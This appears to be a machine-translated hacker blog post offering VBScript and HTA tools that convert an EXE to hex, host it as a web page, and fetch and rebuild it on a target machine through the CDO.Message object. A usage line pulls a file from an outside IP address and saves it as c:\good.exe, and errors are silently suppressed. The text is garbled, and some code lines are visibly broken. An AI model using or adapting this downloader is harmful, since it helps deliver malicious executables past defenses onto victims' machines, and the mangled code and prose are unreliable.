There are a lot of VBS downloads, and I'm here a great invention, using Cdo.message to do the VBS downloader. Greatness is the meaning of B.
NP first write the code, see here for details: http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html
LCX found the CDO when he wrote his blog backup script. Message can be accessed by Web downloads, which is said to be a research study that may be used as a download.
So I studied for a while. Write a rough demo.
Exe2hex.vbs//xiaolu wrote the Exe2vbs, I modified it into a direct drag-and-drop, turned to hexadecimal
================================================
Copy Code code as follows:
' Code by Xiaolu
' Change by Netpatch
On Error Resume Next
Set arg=wscript.arguments
If Arg.count=0 then Wscript.Quit
Do While 1
Fname=arg (0)
Err.number=0
Set Ado = CreateObject ("ADODB.stream")
With Ado
. Type = 1
. Open
. LoadFromFile fname
SS =. Read
End With
If Err.number<>0 Then
If MsgBox ("File Open Error!", 1, "File2vbs") =2 then Wscript.Quit
Else
Exit Do
End If
Loop
If Fname= "" then Wscript.Quit
Set fso=createobject ("Scripting.FileSystemObject")
Set File=fso. OpenTextFile (ARG (0) & ". htm", 2, True)
File.write BIN2STR (ss)
File.close
Set fso=nothing
Ado.close
Set abo=nothing
Function Bin2str (Re)
For i = 1 to LenB (Re)
BT = AscB (MidB (Re, I, 1))
If BT < Then bin2str=bin2str& "0"
Bin2str=bin2str & Hex (BT)
Next
End Function
======================================
Download by Down.vbs
=============
Copy Code code as follows:
On Error Resume Next
Set arg=wscript.arguments
If Arg.count=0 then Wscript.Quit
' Code by Netpatch
' cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject ("CDO.") Message ")
Mail1.createmhtmlbody Arg (0), 31
ss= Mail1.htmlbody
Set Mail1 = Nothing
Set rs=createobject ("ADODB. Recordset ")
L=len (ss)/2
Rs. Fields.Append "M", 205,l
Rs. Open:rs. AddNew
RS ("M") =SS&CHRB (0)
Rs. Update
Ss=rs ("M"). GetChunk (L)
Set s=createobject ("ADODB. Stream ")
With S
. Mode = 3
. Type = 1
. Open ()
. Write SS
. SaveToFile Arg (1), 2
End With
==================================
Demo.htm content when the use of exe2hex.vbs to the EXE obtained after
How to use:
1.exe2hex.vbs the exe into 16, put it on the network
2.down.vbs http://xxx/demo.htm C:\good.exe
Because of NP written for some reason, after the implementation of my machine generated EXE, the process will not automatically exit, I update it again.
======= Use this HTA file to turn an EXE into a 16-binary HTML saved. It would be a little easier. =======
Copy Code code as follows:
<! DOCTYPE HTML PUBLIC "-//w3c//dtd HTML 4.01 transitional//en" >
<title>package file v0.1</title>
<meta http-equiv= "Content-type" content= "text/html; charset=gb2312 ">
Id= "Package File v0.1"
Applicationname= "Package File v0.1"
Version= "0.1"
Scroll= "No"
Innerborder= "No"
contextmenu= "Yes"
caption= "Yes"
Icon= "No"
Showintaskbar= "Yes"
Singleinstance= "Yes"
sysmenu= "Yes"
Maximizebutton = "No"
Windowstate= "Normal"
Navigable= "Yes"
/>
<script language= "VBScript" >
function transfert ()
Dim filename
filename = document.getElementById ("Srcfile"). Value
If Len (filename) >0 Then
Dim oreq
' On Error Resume Next
'//Create XMLHTTP Object
Set oreq = CreateObject ("MSXML2. XMLHTTP ")
Oreq.open "Get", "file:\\" & Filename,false
Oreq.send
FF = Oreq.responsebody
Dim U,s,kk
U = LENB (ff)
ReDim KK (U-1)
For I=0 to U-1
s = Hex (ASCB (MidB (ff,i+1,1)))
If Len (s) <2 then
s = "0" & S
End If
' KK = KK & S
KK (i) = s
Next
Make Filename,join (KK, "")
Else
document.getElementById ("Srcfile"). focus
MsgBox "Please select the file to compress", 16, "Prompt"
End If
End Function
function make (Filename,data)
Dim htm,file
File = Mid (Filename,instrrev (filename, "\") +1)
htm = htm & data
Dim fso,f
Dim this_file
This_file = file & "-pf.htm"
Set fso = CreateObject ("Scripting.FileSystemObject")
Set f = fso. OpenTextFile (This_file, 2, True)
F.write htm
MsgBox "Generate File" & This_file & "Success!" ", 64," build "
End Function
</SCRIPT>
<body marginleft=0 marginright=0 onload= "Window.resizeto 389,145" >
Please select file: <input type=file id= "srcfile" style= "width:260px" ><br><br>
<input Type=button value= "Convert" onclick= "transfert" > <input type=button value= "Close" onclick= "Window.close" >
</body>
===================== again with the following VBS script to download, the HTA generated HTM into space, with NP write the download generated HTM can also, less code =========
Copy Code code as follows:
'//Save file
function SaveFile (FILENAME,STR)
Set Adodbstream = CreateObject ("ADODB" & "." & "Stream")
Adodbstream.type= 1
Adodbstream.open
Adodbstream.write Str
Adodbstream.savetofile filename,2
Adodbstream.close
End Function
'//VB array into binary format
Function Multibytetobinary (multibyte)
Dim RS, Lmultibyte, Binary
Const Adlongvarbinary = 205
Set RS = CreateObject ("ADODB.") Recordset ")
Lmultibyte = LenB (multibyte)
If lmultibyte>0 Then
Rs. Fields.Append "Mbinary", Adlongvarbinary, Lmultibyte
Rs. Open
Rs. AddNew
RS ("Mbinary"). AppendChunk Multibyte & ChrB (0)
Rs. Update
Binary = RS ("Mbinary"). GetChunk (Lmultibyte)
End If
Multibytetobinary = Binary
End Function
function exec ()
'//Mask Error
On Error Resume Next
Set args = WScript.Arguments
If args. Count = 0 Then
WScript.Echo "Usage:cscript down.vbs URL C:\1.exe"
Wscript.Quit 1
End If
Dim data,t,kk,filename,ss
Set Mail1 = CreateObject ("CDO.") Message ")
Mail1.createmhtmlbody args. Item (0), 31
' Mail1.createmhtmlbody ' c:\xxx\lcx.exe-pf.htm ', 31
ss= Mail1.htmlbody
Set mail1=nothing
'//Get Data
data = SS
'//Get filename
filename = args. Item (1)
'//Get data length
U = Len (data)
'//Get an array of files
For I=1 to u Step 2
T = Mid (data,i,2)
KK = KK & ChrB (CLng ("&h" & T))
Next
'//Translate into binary format
Dataarry = Multibytetobinary (KK)
'//Save file
SaveFile Filename,dataarry
End Function
EXEC ()